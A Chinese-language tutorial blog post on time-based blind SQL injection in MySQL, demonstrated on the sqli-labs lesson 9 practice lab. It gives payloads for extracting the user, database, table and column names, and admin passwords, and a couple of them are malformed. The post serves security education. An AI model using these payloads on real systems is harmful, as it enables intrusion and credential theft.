sqli-時間盲注
阿新 • • 發佈:2020-07-12
目錄
使用場景/條件
-
沒有顯位/回顯,無法使用聯合/報錯,無法直接看到SQL語句執行的結果
-
無法根據前端頁面判斷後端SQL語句執行的真假
-
能通過頁面響應時間判斷後端SQL語句執行的真假
時間盲注用到的函式
條件函式:
- if(a,b,c)
條件a為真則執行b,否則執行c
時間函式:
- sleep(a)
mysql>=5.0
睡眠a秒,然後返回0。若 SLEEP() 被中斷,返回1。 - benchmark(a)
mysql<5.0
benchmark是通過查詢次數增多,時間變得緩慢來判斷是否存在延遲
select benchmark(1000,select * from admin)
字串函式:
- length(str)
返回字串的長度。 - substr(a,b,c)
從b位置開始,擷取字串a的c長度
ascii(substr((select user()),1,1))=98
注意:mysql中的位置是從1開始的。 - ascii()
返回字元的ascii碼
演示
sqli-lab-9
分析
可以看到
- sql語句的結果不會返回到前端 = 沒有顯位 / 沒有報錯資訊 = 不能聯合查詢 / 不能報錯注入
- sql語句執行真假返回前端的頁面都是一樣的 = 無法根據頁面判斷sql語句執行真假 = 不能布林盲注
這時就可以考慮時間盲注,通過頁面響應時間判斷後端SQL語句執行的真假。
演示
- 判斷注入存在
id=1 and sleep(5)--+
- 暴庫爆表爆列
和布林盲注一樣,要逐個字元根據響應時間猜解
判斷當前⽤戶
and if(ascii(substr(user(),1,1))=114,sleep(5),1)--+
判斷資料庫名長度
if(length(database())=8,sleep(5),1)--+
猜解資料庫名稱
and if(ascii(substr(database(),1,1))>100,sleep(5),1)--+
猜解表名
and if(ascii(substr((SELECT distinct concat(table_name) FROM information_schema.tables where table_schema=database() LIMIT 0,1),1,1))=116,sleep(5),1)--+
猜解列名
and if(ascii(substr((select column_name from information_schema.columns where table_name='admin' limit,0,1),1,1))>100,sleep(5),1)--+
資料
and if(ascii(substr((select password from admin limit 0,1),1,1))>100,sleep(5),1)